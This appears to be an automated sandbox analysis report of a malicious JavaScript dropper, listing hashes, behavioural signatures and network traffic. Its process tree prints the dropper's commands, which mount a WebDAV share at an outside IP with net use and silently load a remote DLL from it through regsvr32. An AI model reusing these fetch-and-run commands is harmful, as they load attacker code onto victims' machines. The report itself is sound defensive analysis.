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Analysis

  • max time kernel
    92s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/07/2024, 17:51 UTC

General

  • Target

    2347325213288178791.js

  • Size

    5KB

  • MD5

    7b79ae18089412cd5788f57497135d0d

  • SHA1

    d992f7bb6d4b60c02ac4ab2d93abbd1965941dae

  • SHA256

    1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

  • SHA512

    e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743

  • SSDEEP

    48:Q3esJYM28VzZpav5VptCnHoxku43+qjJJdFd4xC40BMC3zI9jXodpTG89fdidTdT:QOrAVBHMkt7BEO98trGDmkMF

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2347325213288178791.js" "C:\Users\Admin\\vrndqv.bat" && "C:\Users\Admin\\vrndqv.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3892
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\507.dll
          3⤵
            PID:1956

      Network

      • flag-us
        DNS
        133.32.126.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        133.32.126.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        g.bing.com
        Remote address:
        8.8.8.8:53
        Request
        g.bing.com
        IN A
        Response
        g.bing.com
        IN CNAME
        g-bing-com.dual-a-0034.a-msedge.net
        g-bing-com.dual-a-0034.a-msedge.net
        IN CNAME
        dual-a-0034.a-msedge.net
        dual-a-0034.a-msedge.net
        IN A
        13.107.21.237
        dual-a-0034.a-msedge.net
        IN A
        204.79.197.237
      • flag-us
        GET
        https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        Remote address:
        13.107.21.237:443
        Request
        GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid= HTTP/2.0
        host: g.bing.com
        accept-encoding: gzip, deflate
        user-agent: WindowsShellClient/9.0.40929.0 (Windows)
        Response
        HTTP/2.0 204
        cache-control: no-cache, must-revalidate
        pragma: no-cache
        expires: Fri, 01 Jan 1990 00:00:00 GMT
        set-cookie: MUID=3C16B7064E5F6F792296A3B04FE46EB0; domain=.bing.com; expires=Sat, 02-Aug-2025 17:52:21 GMT; path=/; SameSite=None; Secure; Priority=High;
        strict-transport-security: max-age=31536000; includeSubDomains; preload
        access-control-allow-origin: *
        x-cache: CONFIG_NOCACHE
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: FF4A2A63E1474ACAB27D578A9534FADA Ref B: LON04EDGE0913 Ref C: 2024-07-08T17:52:21Z
        date: Mon, 08 Jul 2024 17:52:21 GMT
      • flag-us
        GET
        https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        Remote address:
        13.107.21.237:443
        Request
        GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid= HTTP/2.0
        host: g.bing.com
        accept-encoding: gzip, deflate
        user-agent: WindowsShellClient/9.0.40929.0 (Windows)
        cookie: MUID=3C16B7064E5F6F792296A3B04FE46EB0
        Response
        HTTP/2.0 204
        cache-control: no-cache, must-revalidate
        pragma: no-cache
        expires: Fri, 01 Jan 1990 00:00:00 GMT
        set-cookie: MSPTC=R5qDzTL1fDK2chZOnnun5UD_Nz7cp44ZqLepMfhdeFw; domain=.bing.com; expires=Sat, 02-Aug-2025 17:52:21 GMT; path=/; Partitioned; secure; SameSite=None
        strict-transport-security: max-age=31536000; includeSubDomains; preload
        access-control-allow-origin: *
        x-cache: CONFIG_NOCACHE
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 913AACDC14BA4AB1846C2EC1DAFE80EE Ref B: LON04EDGE0913 Ref C: 2024-07-08T17:52:21Z
        date: Mon, 08 Jul 2024 17:52:21 GMT
      • flag-us
        GET
        https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        Remote address:
        13.107.21.237:443
        Request
        GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid= HTTP/2.0
        host: g.bing.com
        accept-encoding: gzip, deflate
        user-agent: WindowsShellClient/9.0.40929.0 (Windows)
        cookie: MUID=3C16B7064E5F6F792296A3B04FE46EB0; MSPTC=R5qDzTL1fDK2chZOnnun5UD_Nz7cp44ZqLepMfhdeFw
        Response
        HTTP/2.0 204
        cache-control: no-cache, must-revalidate
        pragma: no-cache
        expires: Fri, 01 Jan 1990 00:00:00 GMT
        strict-transport-security: max-age=31536000; includeSubDomains; preload
        access-control-allow-origin: *
        x-cache: CONFIG_NOCACHE
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 3E605E26EDAE48CCB21826470BEC2F19 Ref B: LON04EDGE0913 Ref C: 2024-07-08T17:52:21Z
        date: Mon, 08 Jul 2024 17:52:21 GMT
      • flag-us
        DNS
        26.35.223.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        26.35.223.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        45.56.20.217.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        45.56.20.217.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        237.21.107.13.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        237.21.107.13.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        81.144.22.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        81.144.22.2.in-addr.arpa
        IN PTR
        Response
        81.144.22.2.in-addr.arpa
        IN PTR
        a2-22-144-81deploystaticakamaitechnologiescom
      • flag-us
        DNS
        157.123.68.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        157.123.68.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        171.39.242.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        171.39.242.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        192.142.123.92.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        192.142.123.92.in-addr.arpa
        IN PTR
        Response
        192.142.123.92.in-addr.arpa
        IN PTR
        a92-123-142-192deploystaticakamaitechnologiescom
      • flag-us
        DNS
        73.144.22.2.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        73.144.22.2.in-addr.arpa
        IN PTR
        Response
        73.144.22.2.in-addr.arpa
        IN PTR
        a2-22-144-73deploystaticakamaitechnologiescom
      • flag-us
        DNS
        31.243.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        31.243.111.52.in-addr.arpa
        IN PTR
        Response
      • 13.107.21.237:443
        https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=
        tls, http2
        2.0kB
        9.3kB
        22
        19

        HTTP Request

        GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=

        HTTP Response

        204

        HTTP Request

        GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=

        HTTP Response

        204

        HTTP Request

        GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ad88f80a601e4683863b135ca640e9c4&localId=w:7B26F71D-A84A-530F-BE9F-92738B34A66D&deviceId=6966568097783141&anid=

        HTTP Response

        204
      • 8.8.8.8:53
        133.32.126.40.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        133.32.126.40.in-addr.arpa

      • 8.8.8.8:53
        g.bing.com
        dns
        56 B
        151 B
        1
        1

        DNS Request

        g.bing.com

        DNS Response

        13.107.21.237
        204.79.197.237

      • 8.8.8.8:53
        26.35.223.20.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        26.35.223.20.in-addr.arpa

      • 8.8.8.8:53
        45.56.20.217.in-addr.arpa
        dns
        71 B
        131 B
        1
        1

        DNS Request

        45.56.20.217.in-addr.arpa

      • 8.8.8.8:53
        237.21.107.13.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        237.21.107.13.in-addr.arpa

      • 8.8.8.8:53
        81.144.22.2.in-addr.arpa
        dns
        70 B
        133 B
        1
        1

        DNS Request

        81.144.22.2.in-addr.arpa

      • 8.8.8.8:53
        157.123.68.40.in-addr.arpa
        dns
        72 B
        146 B
        1
        1

        DNS Request

        157.123.68.40.in-addr.arpa

      • 8.8.8.8:53
        171.39.242.20.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        171.39.242.20.in-addr.arpa

      • 8.8.8.8:53
        192.142.123.92.in-addr.arpa
        dns
        73 B
        139 B
        1
        1

        DNS Request

        192.142.123.92.in-addr.arpa

      • 8.8.8.8:53
        73.144.22.2.in-addr.arpa
        dns
        70 B
        133 B
        1
        1

        DNS Request

        73.144.22.2.in-addr.arpa

      • 8.8.8.8:53
        31.243.111.52.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        31.243.111.52.in-addr.arpa

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\vrndqv.bat

        Filesize

        5KB

        MD5

        7b79ae18089412cd5788f57497135d0d

        SHA1

        d992f7bb6d4b60c02ac4ab2d93abbd1965941dae

        SHA256

        1c3936cfb4d3c23d0d4ec5a41570cf3d468f3ef3eed898a45f518d737eac1339

        SHA512

        e62fe18930946ffe0286b815f32628edfd46611bad6df2ee803100f5918045de32a29ca6444480ffa90ce4d938b50b93ee0d6921fb33edd4934841af7b9fc743

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